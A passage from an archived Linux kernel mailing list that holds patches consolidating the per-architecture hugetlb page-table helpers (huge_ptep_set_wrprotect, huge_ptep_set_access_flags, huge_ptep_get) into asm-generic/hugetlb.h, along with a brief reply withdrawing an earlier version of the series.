 	pte_update(mm, addr, ptep, _PAGE_RW, 0, 0);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index f1bbd255ee43..8df4004977b9 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -32,12 +32,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 2101ea217f33..c41754a113f3 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -32,6 +32,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 2e5117d37c7d..de370836a17d 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -12,12 +12,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 6c0c8b0c71e0..9b9039845278 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -102,4 +102,12 @@ static inline int prepare_hugepage_range(struct file *file,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
+static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
+		unsigned long addr, pte_t *ptep)
+{
+	ptep_set_wrprotect(mm, addr, ptep);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 10/11] hugetlb: Introduce generic version of huge_ptep_set_access_flags
Date: Thu,  5 Jul 2018 05:16:39 +0000
Lines: 170
Approved: news@gmane.org
Message-ID: <20180705051640.790-11-alex@ghiti.fr>
References: <20180705051640.790-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530768372 30014 195.159.176.226 (5 Jul 2018 05:26:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 05:26:12 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 07:26:05 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fawmJ-0007cz-PO
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 07:26:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753545AbeGEF2K (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 01:28:10 -0400
Original-Received: from relay6-d.mail.gandi.net ([217.70.183.198]:39491 "EHLO
        relay6-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752681AbeGEF2H (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 01:28:07 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay6-d.mail.gandi.net (Postfix) with ESMTPSA id 3253FC000D;
        Thu,  5 Jul 2018 05:27:59 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705051640.790-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812053 gmane.linux.ports.arm.kernel:660933 gmane.linux.ports.ia64:28903 gmane.linux.ports.mips.general:65263 gmane.linux.ports.parisc:28754 gmane.linux.ports.ppc64.devel:159687 gmane.linux.ports.sh.devel:57176 gmane.linux.ports.sparc:28078 gmane.linux.kernel.cross-arch:45024
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812053>

arm, ia64, sh, x86 architectures use the same version
of huge_ptep_set_access_flags, so move this generic implementation
into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb-3level.h | 7 -------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 7 -------
 arch/mips/include/asm/hugetlb.h       | 1 +
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 1 +
 arch/sh/include/asm/hugetlb.h         | 7 -------
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 7 -------
 include/asm-generic/hugetlb.h         | 9 +++++++++
 10 files changed, 14 insertions(+), 28 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index 8247cd6a2ac6..54e4b097b1f5 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,11 +37,4 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
-					     unsigned long addr, pte_t *ptep,
-					     pte_t pte, int dirty)
-{
-	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
-}
-
 #endif /* _ASM_ARM_HUGETLB_3LEVEL_H */
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index f4f69ae5466e..80887abcef7f 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -42,6 +42,7 @@ extern pte_t arch_make_huge_pte(pte_t entry, struct vm_area_struct *vma,
 #define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 			    pte_t *ptep, pte_t pte);
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 49d1f7949f3a..e9b42750fdf5 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -27,13 +27,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
-					     unsigned long addr, pte_t *ptep,
-					     pte_t pte, int dirty)
-{
-	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
-}
-
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	return *ptep;
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 3dcf5debf8c4..120adc3b2ffd 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -63,6 +63,7 @@ static inline int huge_pte_none(pte_t pte)
 	return !val || (val == (unsigned long)invalid_pte_table);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr,
 					     pte_t *ptep, pte_t pte,
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 9c3950ca2974..165b4e5a6f32 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -43,6 +43,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep);
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty);
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 9fcb5fee2e33..9898e234df90 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -137,6 +137,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_hugetlb_page(vma, addr);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 8df4004977b9..c87195ae0cfa 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -32,13 +32,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
-					     unsigned long addr, pte_t *ptep,
-					     pte_t pte, int dirty)
-{
-	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
-}
-
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	return *ptep;
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index c41754a113f3..028a1465fbe7 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -40,6 +40,7 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 	set_huge_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index de370836a17d..1df8944904c6 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -12,13 +12,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
-					     unsigned long addr, pte_t *ptep,
-					     pte_t pte, int dirty)
-{
-	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
-}
-
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	return *ptep;
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 9b9039845278..f3c99a03ee83 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -110,4 +110,13 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
+static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
+		unsigned long addr, pte_t *ptep,
+		pte_t pte, int dirty)
+{
+	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 11/11] hugetlb: Introduce generic version of huge_ptep_get
Date: Thu,  5 Jul 2018 05:16:40 +0000
Lines: 174
Approved: news@gmane.org
Message-ID: <20180705051640.790-12-alex@ghiti.fr>
References: <20180705051640.790-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530768434 2471 195.159.176.226 (5 Jul 2018 05:27:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 05:27:14 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 07:27:08 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fawnK-0000TG-Qc
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 07:27:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753617AbeGEF3P (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 01:29:15 -0400
Original-Received: from relay6-d.mail.gandi.net ([217.70.183.198]:44913 "EHLO
        relay6-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753442AbeGEF3M (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 01:29:12 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay6-d.mail.gandi.net (Postfix) with ESMTPSA id 2F0B4C000D;
        Thu,  5 Jul 2018 05:29:05 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705051640.790-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812054 gmane.linux.ports.arm.kernel:660934 gmane.linux.ports.ia64:28904 gmane.linux.ports.mips.general:65264 gmane.linux.ports.parisc:28755 gmane.linux.ports.ppc64.devel:159688 gmane.linux.ports.sh.devel:57177 gmane.linux.ports.sparc:28079 gmane.linux.kernel.cross-arch:45025
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812054>

ia64, mips, parisc, powerpc, sh, sparc, x86 architectures use the
same version of huge_ptep_get, so move this generic implementation into
asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb-3level.h | 1 +
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 5 -----
 arch/mips/include/asm/hugetlb.h       | 5 -----
 arch/parisc/include/asm/hugetlb.h     | 5 -----
 arch/powerpc/include/asm/hugetlb.h    | 5 -----
 arch/sh/include/asm/hugetlb.h         | 5 -----
 arch/sparc/include/asm/hugetlb.h      | 5 -----
 arch/x86/include/asm/hugetlb.h        | 5 -----
 include/asm-generic/hugetlb.h         | 7 +++++++
 10 files changed, 9 insertions(+), 35 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index 54e4b097b1f5..0d9f3918fa7e 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -29,6 +29,7 @@
  * ptes.
  * (The valid bit is automatically cleared by set_pte_at for PROT_NONE ptes).
  */
+#define __HAVE_ARCH_HUGE_PTEP_GET
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	pte_t retval = *ptep;
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 80887abcef7f..fb6609875455 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -20,6 +20,7 @@
 
 #include <asm/page.h>
 
+#define __HAVE_ARCH_HUGE_PTEP_GET
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	return READ_ONCE(*ptep);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index e9b42750fdf5..36cc0396b214 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -27,11 +27,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 120adc3b2ffd..425bb6fc3bda 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -82,11 +82,6 @@ static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 	return changed;
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 165b4e5a6f32..7cb595dcb7d7 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -48,11 +48,6 @@ int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty);
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 9898e234df90..d0032f6f61b2 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -142,11 +142,6 @@ extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index c87195ae0cfa..6f025fe18146 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -32,11 +32,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 028a1465fbe7..3963f80d1cb3 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -53,11 +53,6 @@ static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 	return changed;
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 1df8944904c6..c97b34a29054 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -12,11 +12,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index f3c99a03ee83..71d7b77eea50 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -119,4 +119,11 @@ static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_GET
+static inline pte_t huge_ptep_get(pte_t *ptep)
+{
+	return *ptep;
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alex Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v2 06/11] hugetlb: Introduce generic version of
 huge_pte_none
Date: Thu, 5 Jul 2018 05:37:54 +0000
Lines: 180
Approved: news@gmane.org
Message-ID: <92f84f1e-652c-6442-fafa-acfa63607601@ghiti.fr>
References: <20180705050323.301-1-alex@ghiti.fr>
 <20180705051242.694-1-alex@ghiti.fr> <20180705051242.694-6-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530768966 8701 195.159.176.226 (5 Jul 2018 05:36:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 05:36:06 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 07:35:59 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fawvt-0006aQ-VZ
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 07:35:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753068AbeGEFiG (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 01:38:06 -0400
Original-Received: from relay8-d.mail.gandi.net ([217.70.183.201]:45135 "EHLO
        relay8-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750884AbeGEFiD (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 01:38:03 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from [192.168.0.11] (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay8-d.mail.gandi.net (Postfix) with ESMTPSA id EA0AA1BF208;
        Thu,  5 Jul 2018 05:37:54 +0000 (UTC)
In-Reply-To: <20180705051242.694-6-alex@ghiti.fr>
Content-Language: fr
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812060 gmane.linux.ports.arm.kernel:660936 gmane.linux.ports.ia64:28905 gmane.linux.ports.mips.general:65265 gmane.linux.ports.parisc:28756 gmane.linux.ports.ppc64.devel:159689 gmane.linux.ports.sh.devel:57178 gmane.linux.ports.sparc:28080 gmane.linux.kernel.cross-arch:45026
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812060>

Please drop this serie, sorry for the noise.


On 07/05/2018 05:12 AM, Alexandre Ghiti wrote:
> arm, arm64, ia64, parisc, powerpc, sh, sparc, x86 architectures
> use the same version of huge_pte_none, so move this generic
> implementation into asm-generic/hugetlb.h.
>
> Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
> ---
>   arch/arm/include/asm/hugetlb.h     | 5 -----
>   arch/arm64/include/asm/hugetlb.h   | 5 -----
>   arch/ia64/include/asm/hugetlb.h    | 5 -----
>   arch/mips/include/asm/hugetlb.h    | 1 +
>   arch/parisc/include/asm/hugetlb.h  | 5 -----
>   arch/powerpc/include/asm/hugetlb.h | 5 -----
>   arch/sh/include/asm/hugetlb.h      | 5 -----
>   arch/sparc/include/asm/hugetlb.h   | 5 -----
>   arch/x86/include/asm/hugetlb.h     | 5 -----
>   include/asm-generic/hugetlb.h      | 7 +++++++
>   10 files changed, 8 insertions(+), 40 deletions(-)
>
> diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
> index 047b893ef95d..3d2ce4dbc145 100644
> --- a/arch/arm/include/asm/hugetlb.h
> +++ b/arch/arm/include/asm/hugetlb.h
> @@ -43,11 +43,6 @@ static inline int prepare_hugepage_range(struct file *file,
>   	return 0;
>   }
>   
> -static inline int huge_pte_none(pte_t pte)
> -{
> -	return pte_none(pte);
> -}
> -
>   static inline pte_t huge_pte_wrprotect(pte_t pte)
>   {
>   	return pte_wrprotect(pte);
> diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
> index 4c8dd488554d..49247c6f94db 100644
> --- a/arch/arm64/include/asm/hugetlb.h
> +++ b/arch/arm64/include/asm/hugetlb.h
> @@ -42,11 +42,6 @@ static inline int prepare_hugepage_range(struct file *file,
